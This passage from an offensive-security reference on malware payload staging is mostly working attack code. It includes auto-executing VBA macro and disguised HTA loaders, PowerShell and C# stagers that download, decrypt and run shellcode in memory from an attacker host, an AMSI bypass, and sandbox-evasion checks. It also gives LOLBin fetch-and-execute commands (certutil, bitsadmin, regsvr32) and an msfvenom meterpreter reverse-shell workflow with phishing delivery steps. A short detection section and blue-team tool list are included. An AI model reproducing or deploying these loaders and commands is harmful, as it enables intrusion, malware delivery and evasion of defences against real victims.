VOID SecureCleanup(LPVOID pMem, SIZE_T size) {
// Multi-pass wipe (DoD 5220.22-M style)
// Pass 1: zeros
SecureZeroMemory(pMem, size);
// Pass 2: ones
memset(pMem, 0xFF, size);
// Pass 3: random
for (SIZE_T i = 0; i < size; i++)
((BYTE*)pMem)[i] = (BYTE)(rand() % 256);
// Pass 4: zeros again
SecureZeroMemory(pMem, size);
VirtualFree(pMem, 0, MEM_RELEASE);
}
17. Stage 0 Loaders — Fetching & Executing Stages
What it means: The Stage 0 loader (stager) is the tiny initial foothold. Its only job is to retrieve Stage 1 and hand execution off. The loader must be small, signature-free, and capable of various delivery methods. This section covers common Stage 0 patterns.
17.1 Macro-Based Stage 0 (VBA — Office Documents)
' VBA macro stager — Office document delivers this, macro fetches Stage 1
' Attach to AutoOpen() / Document_Open() for auto-execution
Sub AutoOpen()
FetchAndRun
End Sub
Sub FetchAndRun()
Dim url As String
Dim wc As Object
Dim enc() As Byte
Dim dec() As Byte
Dim key As Byte
Dim i As Long
url = "https://updates.cdn-provider.com/telemetry.bin"
key = &H4B ' XOR key
' Fetch stage using XMLHTTP (built-in COM object)
Set wc = CreateObject("MSXML2.XMLHTTP.6.0")
wc.Open "GET", url, False
wc.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
wc.Send
If wc.Status <> 200 Then Exit Sub
enc = wc.responseBody
' XOR decrypt
ReDim dec(UBound(enc))
For i = 0 To UBound(enc)
dec(i) = enc(i) Xor key
Next i
' Execute via Shell + temp file (simple approach)
' OR use P/Invoke via VBA to VirtualAlloc + CreateThread (advanced, fileless)
Dim tmpPath As String
tmpPath = Environ("TEMP") & "\~update.bin"
' Write to temp file and execute
Dim ff As Integer
ff = FreeFile
Open tmpPath For Binary As #ff
Put #ff, , dec
Close #ff
Shell "rundll32.exe " & tmpPath & ",Run", vbHide
End Sub
17.2 HTA (HTML Application) Stage 0
<!-- malicious.hta — delivered via phishing or drive-by -->
<!-- Executed by mshta.exe — Windows built-in HTA host -->
<html>
<head>
<title>Windows Update</title>
<script language="VBScript">
Sub Window_OnLoad
FetchStage
End Sub
Sub FetchStage
Dim xhr, data, key, i, dec(), shell
Dim url: url = "https://updates.cdn-provider.com/telemetry.bin"
Dim xorKey: xorKey = &H4B
Set xhr = CreateObject("Microsoft.XMLHTTP")
xhr.Open "GET", url, False
xhr.Send
data = xhr.responseBody
ReDim dec(UBound(data))
' XOR decrypt bytes
For i = 0 To UBound(data)
dec(i) = data(i) Xor xorKey
Next
' Write to ADS and execute via rundll32
Dim adsPath: adsPath = Environ("TEMP") & "\update.dat:payload"
' ... write and execute
' Close the HTA window (avoid suspicious window staying open)
window.close
End Sub
</script>
</head>
<body><p>Checking for updates...</p></body>
</html>
17.3 PowerShell Stage 0 (One-Liner via Encoded Command)
# Encode the stager as a Base64 command for delivery via cmd.exe / phishing
# The stager (to be encoded):
$stager = @'
$wc = New-Object Net.WebClient
$wc.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0)"
$wc.Headers["X-Auth"] = "s3cr3t"
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$enc = $wc.DownloadData("https://192.168.1.100/beacon")
$key = 0x4B
$dec = [byte[]]($enc | % { $_ -bxor $key })
$code = @"
using System; using System.Runtime.InteropServices;
public class L {
[DllImport("kernel32")] public static extern IntPtr VirtualAlloc(IntPtr a,uint s,uint f,uint p);
[DllImport("kernel32")] public static extern IntPtr CreateThread(IntPtr a,uint s,IntPtr f,IntPtr p,uint c,IntPtr i);
[DllImport("kernel32")] public static extern uint WaitForSingleObject(IntPtr h,uint ms);
public static void Run(byte[] sc){
IntPtr p=VirtualAlloc(IntPtr.Zero,(uint)sc.Length,0x3000,0x40);
System.Runtime.InteropServices.Marshal.Copy(sc,0,p,sc.Length);
IntPtr t=CreateThread(IntPtr.Zero,0,p,IntPtr.Zero,0,IntPtr.Zero);
WaitForSingleObject(t,0xFFFFFFFF);
}
}
"@
Add-Type -TypeDefinition $code
[L]::Run($dec)
'@
# Encode as Base64 Unicode (required by -EncodedCommand)
$bytes = [System.Text.Encoding]::Unicode.GetBytes($stager)
$encoded = [Convert]::ToBase64String($bytes)
# Delivery command (put in phishing lure, macro, shortcut):
Write-Host "powershell -NoP -NonI -W Hidden -EncodedCommand $encoded"
# Or with AMSI bypass prepended:
$amsiBypass = '[Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'')' +
'.GetField(''amsiInitFailed'',''NonPublic,Static'').SetValue($null,$true);'
$full = $amsiBypass + $stager
17.4 C# Stage 0 (ClickOnce / .NET Delivery)
using System;
using System.Net;
using System.Runtime.InteropServices;
// Tiny C# stager — compile to small EXE, deliver via ClickOnce or phishing
class Stager {
[DllImport("kernel32")] static extern IntPtr VirtualAlloc(
IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32")] static extern IntPtr CreateThread(
IntPtr a, uint s, IntPtr f, IntPtr p, uint c, IntPtr i);
[DllImport("kernel32")] static extern uint WaitForSingleObject(
IntPtr h, uint ms);
static void Main() {
// Sandbox checks
if (Environment.TickCount < 300000) return; // <5 min uptime → sandbox
if (Environment.UserName == "sandbox") return;
// Fetch stage
ServicePointManager.ServerCertificateValidationCallback = (a,b,c,d) => true;
var wc = new WebClient();
wc.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)";
wc.Headers["X-Auth"] = "s3cr3t";
byte[] enc = wc.DownloadData("https://192.168.1.100/beacon");
// Decrypt
byte key = 0x4B;
for (int i = 0; i < enc.Length; i++) enc[i] ^= key;
// Execute
IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)enc.Length, 0x3000, 0x40);
Marshal.Copy(enc, 0, mem, enc.Length);
IntPtr thread = CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(thread, 0xFFFFFFFF);
}
}
18. Payload Staging with Encryption
What it means: The Stage 1 payload should always be encrypted at rest (on the server or in any storage location) and only decrypted in memory on the victim. Combining staging with encryption from §7 of the Encryption reference gives maximum protection.
18.1 Recommended Encryption Per Storage Location
Storage Location → Recommended Encryption → Key Location
──────────────────────────────────────────────────────────────────
HTTP/HTTPS server → AES-256-CBC → Hardcoded in stager
OR fetched from C2
Registry → XOR + Base64 → Hardcoded in stager
(small stager = simple crypto)
DNS TXT → XOR + Base64 → Hardcoded in stager
(size limit constrains crypto)
SMB share → AES-256-CBC → Derived from hostname/SID
GitHub → AES-256-CBC → Hardcoded in stager
WMI repository → XOR + Base64 → Hardcoded in stager
Cloud storage (S3) → AES-256-GCM → Fetched from separate C2 URL
Named pipe → No encryption needed → Pipe connection = auth
Event log → XOR + Base64 → Hardcoded in stager
File system → AES-256-CBC → Env-derived (hostname hash)
18.2 AES-Encrypted Stage with Prepended IV
#!/usr/bin/env python3
# encrypt_stage.py — AES-256-CBC encrypt Stage 1 for staging
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os, sys
if len(sys.argv) < 2:
print("Usage: python3 encrypt_stage.py stage1.bin")
sys.exit(1)
with open(sys.argv[1], "rb") as f:
payload = f.read()
key = os.urandom(32) # AES-256 key (32 bytes)
iv = os.urandom(16) # AES IV (16 bytes)
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(payload, 16))
# Prepend IV to ciphertext (stager needs IV to decrypt)
output = iv + encrypted
with open("stage1.enc", "wb") as f:
f.write(output)
print(f"[+] Stage encrypted: {len(payload)} bytes → {len(output)} bytes")
print(f"[+] AES-256 Key: {key.hex()}")
print(f"[+] IV (first 16 bytes of .enc file)")
print()
print("// Embed key in stager (C):")
print(f"unsigned char aesKey[] = {{ {', '.join(f'0x{b:02x}' for b in key)} }};")
18.3 AES Stage Decryption in Stager (C — BCrypt)
#include <windows.h>
#include <bcrypt.h>
#include <stdio.h>
// Link: -lbcrypt
// AES-256-CBC decrypt — stage payload with prepended IV
// Key is hardcoded in stager (or fetched from C2)
unsigned char aesKey[32] = {
0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48,
0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50,
0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58,
0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f, 0x60
}; // Replace with your actual key
LPBYTE AesDecryptStage(LPBYTE pEncStage, SIZE_T stageLen, SIZE_T* decLen) {
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
LPBYTE pKeyObj = NULL;
LPBYTE pDecrypted = NULL;
NTSTATUS status;
// First 16 bytes of pEncStage = IV
LPBYTE pIV = pEncStage;
LPBYTE pCiphertext = pEncStage + 16;
SIZE_T cipherLen = stageLen - 16;
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
(PBYTE)BCRYPT_CHAIN_MODE_CBC,
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
DWORD keyObjSize = 0, resultSize = 0;
BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH,
(PBYTE)&keyObjSize, sizeof(DWORD), &resultSize, 0);
pKeyObj = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, keyObjSize);
BCryptGenerateSymmetricKey(hAlg, &hKey, pKeyObj, keyObjSize,
aesKey, 32, 0);
// Make a copy of IV (BCrypt modifies it during decryption)
BYTE ivCopy[16];
memcpy(ivCopy, pIV, 16);
DWORD plaintextLen = 0;
BCryptDecrypt(hKey, pCiphertext, (ULONG)cipherLen, NULL,
ivCopy, 16, NULL, 0, &plaintextLen, BCRYPT_BLOCK_PADDING);
pDecrypted = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, plaintextLen);
BCryptDecrypt(hKey, pCiphertext, (ULONG)cipherLen, NULL,
ivCopy, 16, pDecrypted, plaintextLen,
&plaintextLen, BCRYPT_BLOCK_PADDING);
*decLen = plaintextLen;
printf("[+] AES-256 decrypted: %lu bytes\n", plaintextLen);
BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
HeapFree(GetProcessHeap(), 0, pKeyObj);
// Wipe key from memory
SecureZeroMemory(aesKey, sizeof(aesKey));
return pDecrypted;
}
19. Tools Reference
Staging Infrastructure Tools
| Tool | Type | Purpose | Source |
|---|---|---|---|
| Cobalt Strike | C2 Framework | Full staging via HTTP/HTTPS/SMB | cobaltstrike.com |
| Havoc C2 | C2 Framework | Demon staging over HTTP/HTTPS | github.com/HavocFramework/Havoc |
| Sliver | C2 Framework | Implant staging, mTLS/WireGuard | github.com/BishopFox/sliver |
| Metasploit | Framework | Classic staged payloads (handlers) | metasploit.com |
| Covenant | .NET C2 | .NET stager + HTTP staging | github.com/cobbr/Covenant |
| Mythic | C2 Framework | Modular staging architecture | github.com/its-a-feature/Mythic |
Stager Generation Tools
| Tool | Purpose | Notes |
|---|---|---|
| msfvenom | Generate staged shellcode stagers | -p windows/x64/meterpreter/reverse_tcp |
| Donut | Convert PE/DLL to reflective shellcode | github.com/TheWover/donut |
| GadgetToJScript | .NET assembly to JS/VBA stager | Bypasses AMSI in macro context |
| SharpCradle | .NET stage fetcher | Execute assembly from UNC/HTTP |
| ScareCrow | Staged loader generation | EDR evasion focus |
| Freeze | Go-based stager with sandbox evasion | github.com/optiv/Freeze |
Infrastructure / Redirector Tools
| Tool | Purpose |
|---|---|
| Apache mod_rewrite | HTTP redirector — forward staging requests only |
| Nginx | Reverse proxy redirector with geo-blocking |
| Socat | Port forwarder for simple redirector setup |
| Cloudflare | CDN + domain fronting for HTTPS staging |
| Redirector.py | Simple Python HTTP redirect server |
Detection / Blue Team Tools
| Tool | Purpose |
|---|---|
| Zeek (Bro) | Network traffic analysis — logs all HTTP/DNS/SMB |
| Sysmon + ELK | Process, file, network, registry event correlation |
| WMI-Persistence-Hunter | Enumerate WMI subscriptions and custom classes |
| Get-InjectedThread.ps1 | Find threads in unbacked memory |
| Volatility | Memory forensics — find staged payloads in RAM |
20. Detection & Evasion
20.1 Detection Vectors by Technique
HTTP/HTTPS Staging:
[HIGH] → Outbound HTTPS from unusual process to low-rep domain
[HIGH] → HTTP response with PE/shellcode magic bytes (MZ, 0xFC48...)
[MEDIUM] → Large binary download from non-browser process
[MEDIUM] → JA3 TLS fingerprint mismatch (C# WebClient ≠ Chrome)
[LOW] → Download from amazonaws.com/github.com (low suspicion but logged)
Registry Staging:
[HIGH] → Sysmon 13: REG_SZ write >4KB to non-standard value name
[HIGH] → Registry write containing Base64 blob in HKCU Software\Classes
[MEDIUM] → Unusually large registry value in common key paths
[LOW] → Value name matches legitimate Windows keys
DNS TXT Staging:
[HIGH] → DNS TXT queries from non-DNS-related process
[HIGH] → DNS TXT response >500 bytes with high entropy content
[MEDIUM] → Multiple sequential TXT queries to same domain
[LOW] → DNS TXT query to uncategorized domain
WMI Staging:
[HIGH] → Sysmon 19-21: WMI class creation in root\subscription
[HIGH] → WMI class property containing >10KB string value
[MEDIUM] → Non-system process querying custom WMI class
[LOW] → WMI activity to root\subscription namespace
Event Log Staging:
[HIGH] → Application log event with Base64 content
[HIGH] → Custom event source writing large string messages
[MEDIUM] → Sequential high-event-ID entries with similar structure
ADS Staging:
[HIGH] → Sysmon 15: FileCreateStreamHash on non-Zone.Identifier stream
[MEDIUM] → Stream name is not Zone.Identifier or SmartScreen
20.2 Evasion Techniques
1. Staging Traffic Jitter — Timing Randomization
// Add random delay before fetching stage
// Sandbox systems often run with accelerated timers — this also helps sandbox evasion
DWORD jitter = 30000 + (rand() % 60000); // 30–90 second random delay
Sleep(jitter);
// Or use NtDelayExecution for less-detectable sleep
2. Sandbox Evasion Before Fetch
// Only fetch the stage if we're in a real environment
// Sandbox systems often fail multiple of these checks:
BOOL IsRealEnvironment(void) {
// Check 1: System uptime > 5 minutes (sandboxes reset quickly)
if (GetTickCount64() < 300000) return FALSE;
// Check 2: Number of running processes > 30
DWORD pids[1024]; DWORD bytes;
EnumProcesses(pids, sizeof(pids), &bytes);
if ((bytes / sizeof(DWORD)) < 30) return FALSE;
// Check 3: Check for mouse movement (sandbox = no user interaction)
POINT p1, p2;
GetCursorPos(&p1);
Sleep(3000);
GetCursorPos(&p2);
if (p1.x == p2.x && p1.y == p2.y) return FALSE;
// Check 4: Disk size > 100GB (sandbox VMs often have small disks)
ULARGE_INTEGER freeBytes, totalBytes, totalFreeBytes;
GetDiskFreeSpaceExW(L"C:\\", &freeBytes, &totalBytes, &totalFreeBytes);
if (totalBytes.QuadPart < (100ULL * 1024 * 1024 * 1024)) return FALSE;
return TRUE;
}
3. Domain/IP Reputation Gating
// Only fetch from attacker if victim's external IP is in expected range
// (Prevents sandboxes with non-corporate IPs from triggering stage fetch)
// Approach: make a benign GET to ifconfig.me, check the IP
// If IP is not in expected ranges → don't fetch stage
// This requires knowing target's IP ranges in advance (from OSINT)
4. TLS Fingerprint Matching
# PowerShell uses WinINet/SSPI for TLS → JA3 fingerprint
# matches normal Windows HTTPS clients
# Prefer PowerShell/WinINet over .NET HttpClient for blending
# Compare JA3 hashes:
# Chrome: 66918128f1b9b03303d77c6f2eefd128
# PowerShell: differs but consistent and common
# meterpreter: b386946a5a3dcd7b42b85e1bdeee2d9e (flagged by NIDS)
5. Staged Payload Fragmentation (Chunked Delivery)
# Split stage across multiple requests to avoid large-file detection
# Each request delivers a 50KB chunk instead of one 300KB download
# Server: serves chunk by byte range
@app.route("/update")
def serve_chunk():
chunk_num = int(request.args.get("c", 0))
with open("stage1.enc", "rb") as f:
f.seek(chunk_num * 51200)
data = f.read(51200)
return data, 200, {"Content-Type": "application/octet-stream"}
# Stager: fetches chunks sequentially
# GET /update?c=0 → first 50KB
# GET /update?c=1 → next 50KB
# ...
# Assemble in memory, then decrypt and execute
6. Living off the Land for Stage Fetch
:: Use LOLBins to fetch the stage instead of custom binary
:: certutil — built-in, often allowed
certutil -urlcache -split -f https://192.168.1.100/update.bin %TEMP%\update.bin
:: bitsadmin — background transfer, less monitored in some environments
bitsadmin /transfer update /download /priority high ^
https://192.168.1.100/update.bin %TEMP%\update.bin
:: PowerShell webclient via LOLBin
:: msiexec can fetch MSI from URL (MSI wraps stager)
msiexec /i https://192.168.1.100/update.msi /quiet /norestart
:: regsvr32 (squiblydoo) — fetches and executes COM scriptlet
regsvr32 /s /n /u /i:https://192.168.1.100/update.sct scrobj.dll
21. Comparison Matrix
| Technique | Survives Reboot | Disk Artifact | Net Traffic | Size Limit | Admin Needed | EDR Detection | OPSEC Level |
|---|---|---|---|---|---|---|---|
| HTTP/HTTPS | No (pull) | No | Yes | None | No | High | Low–Medium |
| HTTPS + CDN | No (pull) | No | Yes | None | No | Low | High |
| Registry (HKCU) | Yes | Registry only | No | ~1MB | No | Medium | Medium |
| File System | Yes | Yes | No | None | No | High | Low |
| Environment Variable | Yes (setx) | Registry only | No | ~32KB | No | Low | Medium |
| ADS | Yes | NTFS stream | No | ~64KB | No | High | Low |
| Event Log | Yes (until wrap) | Event log | No | ~4KB/event | No | Medium | Medium |
| DNS TXT | No (pull) | No | DNS only | ~4KB/record | No | Medium | Medium |
| SMB Share | No (pull) | No | SMB | None | Sometimes | Medium | Medium |
| Cloud (S3/Azure) | No (pull) | No | HTTPS to CDN | None | No | Low | High |
| GitHub | No (pull) | No | HTTPS to GitHub | None | No | Very Low | Very High |
| WMI Repository | Yes | WMI repo | No | ~MB | No | Medium | Medium |
| Named Pipe | No | No | Local/SMB | None | No | Low | High |
| In-Memory (reflective) | No | NO artifact | Depends on fetch | None | No | Very Low | Very High |
22. Cheat Sheet
Quick Workflow — Build → Encrypt → Stage → Retrieve
# Step 1: Generate Stage 1 payload (raw shellcode)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=192.168.1.100 LPORT=443 -f raw -o stage1.bin
# Step 2: Encrypt Stage 1
python3 encrypt_stage.py stage1.bin
# Output: stage1.enc (AES-256-CBC encrypted, IV prepended)
# Output: key printed to console → embed in stager
# Step 3A: Stage via HTTP — host on Python server
python3 stage_server.py # Serves stage1.enc on port 443
# Step 3B: Stage via Registry — plant on target
python3 plant_registry_stage.py # Requires access to target
# Step 3C: Stage via GitHub — upload to repo
git add stage1.enc && git commit -m "Update assets" && git push
# Step 4: Build stager with key embedded
# Edit stager.c: set STAGE_HOST, STAGE_PATH, aesKey[]
x86_64-w64-mingw32-gcc stager.c -o stager.exe -lwininet -lbcrypt -lcrypt32
# Step 5: Deliver stager (phishing, macro, USB, exploit)
# Stager executes → fetches stage1.enc → decrypts → runs in memory
Staging Location Quick Reference
Fastest to set up:
1. Python HTTPS server → 1 command, host stage1.enc
2. GitHub raw URL → push file, use raw URL
3. S3 bucket → aws s3 cp + public-read ACL
Most stealthy:
1. HTTPS via CDN/Cloudflare → traffic looks like CDN
2. GitHub raw URL → traffic to github.com
3. Azure Blob / S3 → traffic to Microsoft/Amazon
No network traffic:
1. Registry (HKCU) → pre-planted, survives reboot
2. WMI repository → pre-planted, survives reboot
3. ADS (NTFS stream) → pre-planted, survives reboot
Survives reboot without network:
1. Registry → HKCU\...\value
2. WMI → root\subscription class instance
3. Environment variable → setx (writes to registry)
Stage Encryption Quick Reference
For HTTP/HTTPS staging: AES-256-CBC (key in stager, IV prepended to payload)
For Registry staging: XOR + Base64 (small overhead, no external deps)
For DNS TXT staging: XOR + Base64 (size constraint — keep it small)
For WMI staging: XOR + Base64 (simple, low dependency)
For SMB staging: AES-256-CBC (strong, can afford larger key overhead)
For Cloud staging: AES-256-GCM (authenticated — detect tampering in transit)
Sandbox Evasion Checks (Stager)
// Minimum checks before fetching stage:
if (GetTickCount64() < 300000) return; // Uptime < 5 min = sandbox
if (IsDebuggerPresent()) return; // Debugger attached
if (GetSystemMetrics(SM_CXSCREEN) < 800) return; // Small screen = sandbox
// Mouse movement check, disk size check (see §20.2)
Key PowerShell Stager Commands
# HTTP fetch + XOR decrypt + execute
$e = (New-Object Net.WebClient).DownloadData("https://host/beacon")
$d = [byte[]]($e | % { $_ -bxor 0x4B })
# Registry read + XOR decrypt
$b64 = (Get-ItemProperty "HKCU:\Soft\MS\Win\CV\Expl\Adv" -Name "EnableBalloonTips").EnableBalloonTips
$e = [Convert]::FromBase64String($b64)
$d = [byte[]]($e | % { $_ -bxor 0x4B })
# WMI read
$d = [Convert]::FromBase64String(
(Get-WmiObject -Namespace root\subscription `
-Query "SELECT CacheData FROM WindowsTelemetryCache").CacheData)
# Execute (P/Invoke)
Add-Type -TypeDefinition '...' ; [L]::Run($d)
# AMSI bypass (prepend to any PS stager)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').
GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Decision Tree — Which Staging Method?
Need to stage a payload?
│
├─ Internet connectivity on target?
│ ├─ YES:
│ │ ├─ Web proxy / SSL inspection present?
│ │ │ ├─ YES → Cloud staging (S3/GitHub) — domain whitelisted
│ │ │ └─ NO → HTTPS server + CDN redirector
│ │ │
│ │ ├─ DNS filtering in place?
│ │ │ └─ YES → Avoid DNS TXT; use HTTPS cloud staging
│ │ │
│ │ └─ Need long-term reachability?
│ │ └─ GitHub or S3 (stable, high-availability CDN)
│ │
│ └─ NO (internal / air-gapped):
│ ├─ Pre-plant before losing access?
│ │ ├─ Registry (HKCU) → simple, no admin
│ │ ├─ WMI repository → stealthier, no file
│ │ └─ ADS → NTFS only, Sysmon detects
│ │
│ └─ Can reach internal SMB share?
│ └─ SMB UNC path staging → east-west, proxy-free
│
├─ EDR level on target?
│ ├─ Heavy (CrowdStrike/SentinelOne):
│ │ └─ In-memory reflective staging + sandbox evasion
│ │ + AES-256 encryption + CDN domain fronting
│ │
│ ├─ Moderate (Defender + Sysmon):
│ │ └─ HTTPS staging + XOR/AES encrypt + avoid RWX pages
│ │
│ └─ Light (basic AV):
│ └─ Any method; HTTP staging with XOR is sufficient
│
└─ Persistence needed?
├─ YES → Registry or WMI staging (survived reboot)
│ + persistence mechanism to re-run stager
└─ NO → In-memory HTTP fetch (cleanest, no artifacts)
References & Tools
Frameworks & Stager Generation: - Cobalt Strike documentation — Staging architecture, Malleable C2 profiles - Havoc C2 — https://github.com/HavocFramework/Havoc - Sliver — https://github.com/BishopFox/sliver - Donut — https://github.com/TheWover/donut (PE → shellcode for staging) - GadgetToJScript — https://github.com/med0x2e/GadgetToJScript
Registry / WMI Techniques: - Living Off The Land — LOLBAS — https://lolbas-project.github.io - WMI Offense, Defense, and Forensics — FireEye whitepaper - ired.team WMI persistence — https://www.ired.team/offensive-security
Evasion Research: - Freeze — https://github.com/optiv/Freeze (sandbox evasion + staging) - ScareCrow — https://github.com/Tylous/ScareCrow - ThreatCheck — https://github.com/rasta-mouse/ThreatCheck
Infrastructure: - Apache mod_rewrite recipes — https://bluescreenofjeff.com/2016-03-22-strengthen-your-phishing-with-apache-mod_rewrite-and-mobile-redirects/ - Redirecting Cobalt Strike Profiles — Jeff Dimmock - Domain Fronting via CDN — research.checkpoint.com
Detection / Blue Team: - Sysmon configuration — https://github.com/SwiftOnSecurity/sysmon-config - Sigma rules — staged payload detection — github.com/SigmaHQ/sigma - Hunting staged payloads with Zeek — corelight.com